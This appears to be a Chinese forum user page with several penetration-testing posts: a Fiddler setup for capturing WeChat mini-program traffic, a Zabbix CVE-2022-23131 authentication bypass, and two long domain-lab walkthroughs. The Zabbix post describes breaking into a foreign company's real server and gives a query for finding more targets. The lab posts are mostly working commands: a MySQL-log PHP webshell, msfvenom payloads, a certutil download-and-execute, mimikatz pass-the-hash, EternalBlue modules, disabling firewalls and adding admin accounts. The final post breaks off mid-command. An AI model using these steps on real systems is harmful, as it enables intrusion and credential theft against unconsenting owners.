跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 一、安装 fiddler 官网下载:https://www.telerik.com/download/fiddler 二、配置 打开fiddler tools-> options,genneral: 全选 https: connections: 配置代理地址 gateway: 三、打开电脑端小程序 退出微信,登录微信时设置代理 打开小程序 抓包成功 如果没成功 打开小程序、打开任务管理器,找到小程序进程,打开文件所在位置 退出微信,删除\WMPFRuntime 下所有文件,再次登录打开小程序就可以了 C:\Users\backlion\AppData\Roaming\Tencent\WeChat\XPlugin\Plugins\WMPFRuntime 。
  2. 0x00 前言最近在复现zabbix的漏洞(CVE-2022-23131),偶然间拿到了国外某公司zabbix服务器。Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。 未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。 0x01 漏洞原因 在启用 SAML SSO 身份验证(非默认)的情况下,恶意攻击者可以修改会话数据来实现身份认证绕过。未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。 该漏洞存在于index_sso.php文件中,由于index_sso.php文件未调用CEncryptedCookieSession::checkSign()方法对cookie进行校验,且客户端的cookie可被伪造。 从index_sso.php文件中可以看出,当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过 0x02 漏洞影响 5.4.8 5.0.18 4.0.36 0x03 漏洞复现fofa:app="ZABBIX-监控系统" && body="saml"执行curl -ksSIL http://xxx.com/ 获取到set-cookie的值,然后先进行url解码,然后再进行base64解码 URL解码: eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdndytDUlpqeVJyQUJ5WDk5bGhNMVVHbFM4cTRwNjBKb1wvUGc9PSJ9 Base64解码: {"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="} 然后拼接字符串 {"saml_data":{"username_attribute":"Admin"},"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="} 拼接之后在进行base64加密 然后在进行URLEncode 执行命令 找到Administration--> Scripts 创建新的脚本,这里我创建的ifconfig 在监控中找到最新数据,然后筛选出来你想执行的主机组,点击主机名执行对应命令 或者GitHub漏洞利用脚本: https://github.com/L0ading-x/cve-2022-23131https://github.com/Mr-xn/cve-2022-23131执行脚本,Admin为默认的高权限用户,获取其session值。 替换cookie中的zbx_session值为payload,接着点击 Sign in with Single Sign-On (SAML)或者使用EditThisCookie 对cookie值 进行替换 成功绕过登录,进入系统。 0x04 修复方法 1、禁用 SAML 身份验证 2、升级安全版本(https://support.zabbix.com/browse/ZBX-20350)
  3. 0x00 前言之前在打一个域环境的时候出现了域内主机不出网的情况,当时用的是cs的socks代理将不出网主机的流量代理到了边缘主机上。当时没有考虑太多,下来之后想到搭一个环境复现一下当时的情况,看有没有更简便的方法能够打下不出网的主机。 机缘巧合之下,发现了这个域环境还不错,再复现的过程中也有一些知识触及了我的知识盲区,也收获了许多新的知识。特地把过程记录下来,与想要学习打域内不出网主机的师傅们共同分享。 0x01 靶场地址分配内网网段:192.168.52.0/24 外网网段:192.168.10.0/24 攻击机: kali:192.168.10.11 靶场: win7(内):192.168.52.143 win7(外):192.168.10.15 域内主机: Winserver2003:192.168.52.141 Winserver2008:192.168.52.138 其中win7可以外网、内网通信,域内主机只能内网之间进行通信 一开始DCping不通win7,win7关闭防火墙之后可以ping通 打开C盘下的phpstudy目录打开web服务 0x02 web服务器渗透nmap探测端口 开了80端口,尝试访问web地址,发现为php探针 滑到最底部,发现网站底部有一个MySQL数据库连接检测 弱口令root/root连接成功 扫描后台我这里用的是御剑,但是好像很拉,因为在我打完这个靶场之后再去网上看的时候发现他们很多扫出来一个cms,通过cms也能拿shell,这里我就不演示怎么用cms弱口令进后台写shell了,如果有感兴趣的小伙伴可以自行搜索一下 发现phpmyadmin目录,还是root/root弱口令登陆成功 进入后界面如下所示 0x03 通过phpmyadmin写shell通过phpmyadmin写shell有两种方式 首先我尝试 select into outfile 直接写入,但是他这里secure_file_priv的值为NULL,所以无法提权 只能使用另外一种方法,用全局日志写shell SHOW VARIABLES LIKE '%general%' 查看配置,可以看到全局日志是处于关闭的状态,gengeral_log_file返回了日志的绝对地址 那这里我先把它的全局日志打开,再往它路径里面写入一个一句话木马 set global general_log = on; 开启全局日志后修改绝对路径,注意这里有一个坑,日志给我们返回的路径是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql访问的绝对地址为C:\\phpStudy\\WWW目录下的文件,所以这个地方写shell必须要写到WWW目录下才能够用蚁剑连接上 set global general_log_file='C:\\phpStudy\\WWW\\shell.php'; 这里再写入一句话木马 select '<?php eval($_POST[cmd]);?>' 然后再上蚁剑连接即可 可以看到连接成功 0x03 内网信息搜集查看下系统的权限,一上来就是administrator权限就很舒服 ipconfig /all查看网络信息,域环境+双网卡 tasklist /svc粗略看了一下,似乎是没有杀软的 想着没有杀软,那么直接用最简单粗暴的上cs更省心,上传一个cs生成的木马exe到目标主机上 用计划任务上线cs 成功上线 0x04 内网渗透信息搜集net view查看域信息 使用cs自带的端口扫描扫一波主机 扫出来所有的主机如下 hashdump抓一波hash logonpasswords抓一波明文 所有凭证如下,打码的原因是因为之前登陆的时候密码要重置,弄了一个带有个人信息的密码 思路这里我测试了一下,因为目标主机没有开启防火墙,是能够通过cs自带的psexec一波横向抓域控和域内机器密码的,但是鉴于这个win7双网卡且域内另外主机不出网的情况,练习一下如何打不出网的主机 不出网机器上线一般有以下几种方式: 使用smb beacon配置listener通过HTTP代理上线使用pystinger搭建socks4代理这里我使用SMB beacon这个方法 SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线 首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线 1.使用条件 具有 SMB Beacon 的主机必须接受 445 端口上的连接。只能链接由同一个 Cobalt Strike 实例管理的 Beacon。利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。2.使用方法 (1)建立smb listener (2)在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限 (3)连接成功,可以看到smb beacon上线的主机右侧有∞∞标识 使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断 0x05 内网横向渗透思路用Ladon扫一波内网的永恒之蓝,发现这几台主机都存在MS17-010 ms17010常见的几种打法: msfladon/ladon_ms17010从msf分离出的exenessus里的execs插件这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果 msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低 在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口,而且还会留一个粘滞键后门 根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt” cs派生msf会话msf设置监听端口 cs新建端口建立对话 运行拿到meterpreter ms_17_010获取域控权限这里因为知道了DC是有ms_17_010这个漏洞的,所以我先尝试了用永恒之蓝打一波 使用如下模块 运行之后发现exp已经打过去了但是没有session建立 再换个ms17010的模块 同样没有拿到shell,当时没有细想,后来我考虑到可能是win7处于两个网段的原因,所以用永恒之蓝直接打是拿不到shell的 msf打不出网机器的ms_17_010想到之前拿到了win7的meterpreter,所以用添加路由的方式尝试一下 msf在单兵作战的时候还是很稳定很香的。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由 1.查看路由 2.添加路由 3.查看添加的路由 4.开始攻击 把shell切换到后台,再运用ms17_010_eternalblue模块 这次能够成功建立连接 ms_17_010模块总结漏洞检测方法: 之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,所以就没有进行漏洞检测。 漏洞利用常使用的是: 这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。 在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。 如果命令执行成功的话就可以优先考虑这两个模块进行利用 WMI获取域控服务器因为之前用了两个ms_17_010的模块都没有打成功,而session放在后台是后面才想到的打法,在当时模块没有打成功的情况下我决定另辟蹊径 首先我打开3389端口并关闭防火墙进到win7的远程桌面 注册表开启3389端口 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 关闭防火墙 netsh firewall set opmode disable #windows server 2003 之前 netsh advfirewall set allprofiles state off #windows server 2003 之后 这个时候防火墙是开启,关闭防火墙,使用域用户god\\administrator/hongrisec@2020成功登录这一台win7WEB主机 上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行 cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami" 因为我用vbs几次都没有回显,所以我这里使用的Ladon.exe,执行 Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami 同上面的过程一样,获取一个正向的msf连接,过程如下: 首先生成一个正向的exe文件放到win7的网站目录上 在win7上看一下,上传成功 在win7上使用WMI执行命令 certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe 成功执行,这时候在138机器(即DC-win2008)上开启6666端口监听 在msf上个运行blin_tcp来获取回话 成功获取域控权限,后续提权 使用CVE-2018-8120提权,成功提到系统权限,这里我思考了一下用MS14-068应该也能够提权成功 成功提权,上免杀mimikatz,成功抓到hash 票据加计划任务获取DC这里先用msf的命令生成正向的马 yukong.exe windows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777 把马复制到域控机器上 shell copy C:\\yukong.exe \\192.168.52.138\\c$ 然后再用这个写入计划任务的方法去连接,这里马反弹会连不成功,所以使用如下命令 shell schtasks /create /tn "test" /tr C:\\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020" 挂着win7代理 proxy nc -vv 192.168.52.138 7777 即可弹回DC的shell,然后清除计划任务 schtasks /delete /s 192.168.52.138 /tn "test" /f 使用mimikatz进行hash传递 mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141 查看DC的目录 shell dir \\192.168.52.138\\c$ //dir 0x06 总结1.目标网络情况 攻击机: kali:192.168.10.11 目标靶机: win7(内):192.168.52.143 win7(外):192.168.10.15 域内主机: Winserver2003:192.168.52.141 Winserver2008:192.168.52.138 2.在攻击机中,通过nmap探测目标靶机开放端口,发现开放了80,445,3306等端口 nmap -sS -P0 -sV -O 192.168.10.15 3.访问目标web 80D端口,发现系统指纹为phpstudy 探针,发现最底部有个mysql数据库连接,输入弱口令root/root可成功连接 4.通过御剑对目标靶机web应用进行目录扫描,发信存在http://192.168.10.15/phpmyadmin目录,访问该目录,输入弱口令root/root即可连接成功 5.尝试 select into outfile 直接写入,但是这里secure_file_priv的值为NULL,无法提权 show global variables like '%secure%' 6.通过全局日志写入shell, 并查看配置,发现全局日志是处于关闭的状态,gengeral_log_file返回了日志的绝对地址 SHOW VARIABLES LIKE '%general%' 7.开启全局日志 set global general_log = on; 8.修改绝对路径,日志给我们返回的路径是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql访问的绝对地址为C:\\phpStudy\\WWW目录下的文件,所以这个地方写shell必须要写到WWW目录下才能够用蚁剑连接上 set global general_log_file='C:\\phpStudy\\WWW\\shell.php'; 9.通过sql命令执行以下语句,即可写入shell select '<?php eval($_POST[cmd]);?>' 10.通过蚁剑成功连接一句话,发现网站根目录下存在yxcms目录 11.通过蚁剑的命令终端功能执行命令进行信息收集 whomai //发现目标系统为administrator权限 ipconfig/all //发现目标存在双网卡,一个网卡IP地址为192.168.10.15,另外一个网卡IP地址为192.168.52.143 tasklist /svc //发现目标并没有杀软 12.通过CS生成一个后门文件为artifact.exe,将其通过蚁剑上传到目标系统中,并通过命令执行 13.通过计划任务上线CS或者直接运行,可成功上线 c:\phpstudy\WWW\artifact.exe net time \\192.168.10.15 schtasks /create /TN cs /TR c:\phpstudy\WWW\artifact.exe /SC once /ST 10:50 14.通过CS的beacon命令终端进行信息收集 shell net view //查看域主机信息,发现有\\owa,\\root-tvi862urh,\\stu1 portscan 192.168.10.0-192.168.10.255 1-1024,3389,5000-6000 arp 1024 \\使用自带的端口扫描192.168.10.0/24网段的端口 15.扫描的IP和计算机名对应关系为 192.168.52.138--owa--win2008 192.168.52.141--root-tvi862urh--win2003 192.168.52.143--stu1--win7 16.在CS中hash抓取,并且通过CS的凭据信息,可以看到查看到域管理员的hash值 hadump //抓取到本地管理员administator的hash logonpasswords //获取到本地管理员administator的明文 17.这里使用SMB beacon打内网不通信网络 首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码, 在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线,SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。 使用条件: 具有 SMB Beacon 的主机必须接受 445 端口上的连接。 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。 利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据 18.建立smb listener name:smb payload: beacon SMB pipanme(c2):msagent_866c 19.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限 用户名:administrator 密码:god.org doamin:god.org 监听器:smb 会话操作:adminstor 192.168.10.15@6067 20.这里通过CS将lanon上传到目标系统中,然后对ms17-010进行扫描 ,发现192.168.52.143和138以及141都存在MS17-1010漏洞 lanon 192.168.52.143/24 MS17010 21.这里可以通过MSF模块进行MS17-010最稳定攻击 22.攻击机MSF下设置监听端口 msf>set lport 5555 msf>lhost 192.168.10.11 msf>set payload windows/meterprter/reverse_http 23.cs新建端口建立对话 name:msf payload:foreign http http host :192.168.10.11 http prot:555 24.MSF下运行run获取到meterprter msf>run meterprter> 25.通过永恒之蓝漏洞攻击DC,发现无法反弹shell meterprter>background msf>use exploit/windows/smb/ms17_010_eternalblue msf>set payload windows/x64/meterprter/reverse_http msf>set lhost 192.168.52.138 msf>set lport 4444 26.尝试另外一个模块,进行攻击DC,成功反弹shell msf>use exploit/windows/smb/ms17_010_psexec msf>set payload windows/meterpreter/blind_tcp msf>set lhost 192.168.52.138 msf>set lport 4444 27.msf打不出网机器的ms_17_010 meterprter> run get_local_subnets //查看路由 meterprter> run autoroute -s 192.168.52.0/24 //添加路由 meterprter> run autoroute -p //查看路由 通过永恒之蓝漏洞攻击不出网的DC,发现无法反弹shell meterprter>background msf>use exploit/windows/smb/ms17_010_eternalblue msf>set payload windows/x64/meterprter/reverse_http msf>set lhost 192.168.52.138 msf>set lport 4444 永恒之蓝利用模块 auxiliary/scanner/smb/smb_ms17_010 //永恒之蓝检查模块,可检查出管道名和漏洞 auxiliary/admin/smb/ms17_010_command //比较稳定,需要管道名,有先使用 exploit/windows/smb/ms17_010_eternalblue //不稳定,容易蓝屏,只需要漏洞存在,不需要管道命令 exploit/windows/smb/ms17_010_psexec //比较稳定,需要管道名,有先使用 28.WMI获取DC服务器 通过蚁剑的命令终端将目标靶机系统win7 3389端口通过注册表开启 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netstat -an |find "3389" //发现3389端口已开启 netsh advfirewall set allprofiles state off //关闭防火墙 使用域用户god\\administrator/hongrisec@2020成功远程桌面登录这一台win7 WEB主机 通过蚁剑将vmiexec.vbs上传到192.168.52.143(win7)机器上,并执行命令,发现无法通过wmiexe脚本远程命令执行DC命令 cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami" 使用的Ladon.exe,成功执行 Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "whoami" 29.MSF正向代理上线DC 在攻击MSF下执行以下命令生成MSF的正向exe后门 msfvenom -p windows/x64/meterprter/bind_tcp lport=6666 -f exe >/opt/6666.exe 通过蚁剑将6666.exe上传到目标靶机中,并通过HSF搭建简单的HTTP服务,将6666.exe放入其中 通过以下命令,远程在DC中执行 Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe" msf上个运行blin_tcp来获取回话 msf>use exploit/multi/handler msf>set payload windows/x64/meterprter/bind_tcp msf>set rhost 192.168.52.138 msf>set rport 3333 meterprter>getuid //发现是普通域权限 meterpter>upload cve-2018-8120.exe //上传提权exe meterpter>shell c:\>cve-2018-8120.exe .exe whomai //进行提权 c:\>exit meterpter>upload mz64.exe //上传mimimkatz meterpter>shell c:\>cve-2018-8120.exe .exe mz64.exe //成功抓到hash 30.票据加计划任务获取DC 在CS中通过MIMIKATZ进行DC hash传递 mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141 shell dir \\192.168.52.138\\c$ //dir //成功列出目 原文连接: https://xz.aliyun.com/t/9607
  4. 1. 根据网卡获取的网段信息,对win7所在网段来一波存活主机检测,排除其他的之后目标锁定在主机号为128的主机上2. 对发现的存活主机来一波整体信息收集发现开了以下的端口,并且是一个域用户┌──(root💀kali)-[/]└─# nmap -A 192.168.164.128 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 09:53 CSTNmap scan report for 192.168.164.128Host is up (0.00052s latency).Not shown: 989 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45|_http-title: Site doesn't have a title (text/html).135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)1025/tcp open msrpc Microsoft Windows RPC1026/tcp open msrpc Microsoft Windows RPC1027/tcp open msrpc Microsoft Windows RPC1028/tcp open msrpc Microsoft Windows RPC1029/tcp open msrpc Microsoft Windows RPC1030/tcp open msrpc Microsoft Windows RPC3306/tcp open mysql MySQL (unauthorized)MAC Address: 00:0C:29:A7:C1:B2 (VMware)Device type: general purpose|media deviceRunning: Microsoft Windows 2008|10|7|8.1, Microsoft embeddedOS CPE: cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_10 cpe:/h:microsoft:xbox_one cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1OS details: Microsoft Windows Server 2008 SP2, Microsoft Windows Server 2008 SP2 or Windows 10 or Xbox One, Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1Network Distance: 1 hopService Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results:|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a7:c1:b2 (VMware)| smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional| Computer name: stu1| NetBIOS computer name: STU1\x00| Domain name: god.org| Forest name: god.org| FQDN: stu1.god.org|_ System time: 2021-07-26T09:55:13+08:00| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode: | 2.02: |_ Message signing enabled but not required| smb2-time: | date: 2021-07-26T01:55:13|_ start_date: 2021-07-26T01:43:45 TRACEROUTEHOP RTT ADDRESS1 0.51 ms 192.168.164.128 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 85.47 seconds 3. 访问改web服务器的地址获取页面内容,发现并没有什么可以利用的东西,只能先目录扫描获取一些有用有用信息 4. 用dirsearch工具来扫描,kali默认没有安装,自己装一下就好了,发现有phpmyadmin的目录,说明安装了phpmyadmin,正好和端口扫描的3306 mysql服务相对应,然后在把目录都访问一遍之后发现了phpstudy探针└─dirsearch -u http://192.168.164.1285. 本来想着找个python脚本爆破一下,可惜网上的大多用不了,手动猜出来了root:root,登陆进去之后就是通过phpmyadmin写入webshell了 我们这里用日志写入一句话的方式,首先进入phpmyadmin后台,查看genelog变量,更改general log和general log file参数,初始设置general log是OFF,我们将其改成ON;general log file改成网站的根目录,通过phpstudy指针已经知道了网站根目录 show global variables like '%general%';set global general_log='on';set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php'; 6. 蚁剑连接不用多说了,这边有个坑,蚁剑下载插件的时候用了代理,本地环境连接一直连不上,人麻了,测试了一下权限administrator真的高7. 查看根目录之后发现了一个cms,我们在浏览器访问,自己安装的phpstudy打不开这个管理系统,把原来的phpstudy重启一下完美解决 不用扫目录之类的了,主页面已经给了出来信息直接用,进入后台并登录 8. 在前台模板哪里发现了上传点,我们可以上传一个大马,奥里给!创建了一个名为shell_1.php的文件,然后就是查找创建的目录 9. 找了半天,在robots.txt里面找到了目录一个一个找出来了,不过好像可以目录穿越出来,我试了几下没粗来,不过这个大马子挺好用 10. 看了一下教程,说是留言板有个xss的,我们也来试试 <script>alert('xss')</script>成功弹窗 11. 不整那么多了,现在就是经典内网环节,先用msf生成马子用蚁剑上传,反弹shell用msf监听msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.164.129 LPORT=1222 -f exe -o asd.exe把生成的马子传上去之后执行,msf监听拿到会话use exploit/mutli/handlerset payload windows/x64/meterpreter_reverse_tcpset lhost 192.168.164.129set lport 1222 12. 本来获得会话之后就要是要提权,这个进来之后就是admin,所以省略这一步,我们直接抓取域用户的密码信息13. 加载Kiwl插件获取hash并解密 ps:migrate PID(进程迁移)这边meterpreter是32位的,系统是64位的,所以得迁移进程meterpreter > load Kiwimeterpreter > creds_all 14. 开启3389端口,进入远程桌面,用nmap看看开了没,这边还需要自己添加用户net user test Admin123 /add # 添加账户密码net localgroup administrators test /add # 给test账户添加为管理员权限net user test # 查询是否成功添加test用户run post/windows/manage/enable_rdprdesktop 192.168.164.128:3389 kali的一个远程工具 15. 开始横向移动,先自动创建路由 run post/multi/manage/autoroute 16. 挂起会话,通过post/multi/manage/autoroute 这个模块查看路由表17. 使用auxiliary/server/socks_proxy这个模块开进行socks代理,设置好服务器ip和端口,运行后自动挂入后台18. 修改/etc/proxychains.conf文件19. 查看socks5的端口开启了没20. 起来了之后就可以使用nmap扫描到内网的存活主机,这样扫描起来有点慢proxychains nmap -sT -Pn 192.168.52.143 21. 我们这里使用msf自带的模块来扫描,发现了两台存活的主机use auxiliary/scanner/netbios/nbname22. 再用msf的端口扫描模块对发现的主机扫描,查看开放的端口,这边双管齐下,扫描的太慢了 use auxiliary/scanner/portscan/tcp 23. 都开了445端口经典ms17_010利用起来,先扫描发现有ms17_010的洞use auxiliary/scanner/smb/smb_ms17_010 24. 既然都有洞了,我门直接丝滑小连招,使用ms17_010的command模块可以执行指令use auxiliary/admin/smb/ms17_010_command 25. 这个上车补票卫视不晚,我们搜集一波域信息net config workstation 查看是否有域,以及当前登录域这边有一个乱码问题,我们在shell视图输入,完美解决C:\Windows\system32>chcp 65001net view 查看域内主机列表net group "domain controllers" /domain 查看域控制器(如果有多台) 然后通过 ping 命令查看域中主机的ipnet user /domain 查看域内所有域用户net group "domain admins" /domain 查看域管理员列表 26. 完全可以用ms17_010command模块来执行命令,打开3389添加用户,登陆进去,其实在win7上就拿到了管理员用户名和密码,不过这是练习,我们就在继续骚操作 我们通过弹一个正向shell (因为msf 开了代理,所以不能弹反向shell),我们可以win7远程桌面,所给把马子传给win7然后开共享目录,下载到域控上面,然后执行 msfvenom -p windows/meterpreter/bind_tcp -f exe -o /home/dzj/s.exemsfconsole开启监听use exploit/multi/handler win7开启共享 然后用域控的ms17_010command执行复制指令copy \\192.168.52.143\WWW\s.exe C:\s.exe这里又有一个坑,win7防火墙开了,导致域控一直下载不了文件,麻了查看放防火墙状态:netsh advfirewall show allprofile state关闭所有防火墙:netsh advfirewall set allprofiles state off再试试下载文件,不能下载,我们用其他方法set command copy \\\\STU1\\WWW\\s2.exe C:\\s2.exe 这里我是下完之后试的,重启机子就好了,我tm 然后就是msf监听了set payload windows/x64/meterpreter/bind_tcp一直连不上shell应该是防火墙的原因,不过我在用win7的nmap扫描之后发现了ms08_067 27. 利用exploit/windows/smb/ms08_067_netapi这个模块直接拿shellset payload windows/meterpreter/bind_tcp 28. 利用一下win7上的nmap了扫描一下另外两个主机,两个主机都有ms17_010的洞,不过有一台是32位的系统利用不了,只能从另一台下手了exploit/windows/smb/ms17_010_eternalblue这还有坑这个主机开了防火墙,我之前试了几次一直拿不到shell,用ms17_010command执行指令关闭之后就返回了shell,这个因为开了代理所以得用set payload windows/x64/meterpreter/bind_tcp正向连接 29. 现在就是抓取hash密码,开启远程桌面,作为桌面党开了远程桌面才算舒服了~~~ 套娃ing,这里可以用端口转发,我直接在win7的远程再开一个远程 30. 最后一个其实已经拿到域管理员的密码了可以直接用ms17_010commad关闭防火墙打开3389了这里还有一点对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,可以使用rdpwrap。 rdpwrap是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行: RDPWInst.exe -i -s 总结:1.通过NMAP对目标网络段进行存活主机探测,通过排查发现目标主机128有可利用点nmap -sp 192.168.164.0/242.对128主机进行端口探测,发现是该主机是域成员主机以及开放了80,445,3306端口nmap -A 192.168.164.1283.通过dirsearch对192.168.164.128的web应用进行URL目录扫描,发现存在phpmyadmin目录和l.php4.访问1.php,发现网站的根目录为:C:/phpStudy/PHPTutorial/WWW/5.访问phpmyadmin目录,是网站的数据库管理系统,这里通过尝试输入弱口令root/root即可登录系统6.在sql语句中执行命令查看general变量,发现general log是OFF,并且发现general log file的根目录是C:/phpStudy/PHPTutorial/MYsql/show global variables like '%general%';7.将general log设置为onset global general_log='on';8.将 general log file设置为网站根目录set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';9.通过log日志写入一句话select '<?php eval($_POST["shell"]);?>';10.通过蚁剑成功连接一句,并通过自带的命令功能查看下当前目标权限为admin权限whomai12.发现目标系统中的根目录下还有一个CMS目录,访问CMS目录,公告直接泄露了网站后台的用户名和密码,可成功登陆到系统后台13.在后台模板处可直接上传php大马,大马名称为shell_1.php14.通过robots.txt查看到泄露的目录,访问目录,可目录遍历到上传到大马的目录保存路径http://192.168.164.128/yycms/protected/apps/default/view/default15.可成功访问php大马http://192.168.164.128/yycms/protected/apps/default/view/default/shell_1.php16.在攻击机上执行MSF生成的后门msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.164.129 LPORT=1222 -f exe -o asd.exe17.通过蚁剑将asd.exe上传到目标系统中,并通过其命令功能执行c:/>acd.exe18.MSF进行监听,成功上线use exploit/mutli/handlerset payload windows/x64/meterpreter_reverse_tcpset lhost 192.168.164.129set lport 122219.通过smart_hasdump模块获取目标的hash值,可成功获取到管理员的hashmeterpreter>run post /windows/gather/smart_hashdump20.加载kiwi插件获取hash并解密meterpreter > load Kiwimeterpreter > creds_all21.通过注册表开启3389端口,添加远程桌面用户,进入远程桌面meterprter>shellc:/>ipconfig //查看到目标系统存在两个网卡,一个网卡IP地址为192.168.164.128,另外一个网卡IP地址为192.168.52.143c:/>net user test Admin123 /add # 添加账户密码c:/>net localgroup administrators test /add # 给test账户添加为管理员权限c:/>net user test # 查询是否成功添加test用户rdesktop 192.168.164.128:3389 //kali下进行远程桌面22.开始横向移动,先自动创建路由 meterprter>run post/multi/manage/autoroute23.挂起会话,通过post/multi/manage/autoroute查看路由表meterprter>backgroundmsf>use post/multi/manage/autoroutemsf>set session 1msf>route printmsf>run24.使用auxiliary/server/socks_proxy这个模块开进行socks代理,设置好服务器ip和端口,运行后自动挂入后台msf>use auxiliary/server/socks_proxymsf>set srvhost 127.0.0.1msf>run25.修改/etc/proxychains.conf文件sokcs5 127.0.0.1 108026.查看socks5端口netstat -an |grep 108027. 这里使用msf自带的模块来扫描,发现了两台存活的主机(192.168.52.138与192.168.52.141)use 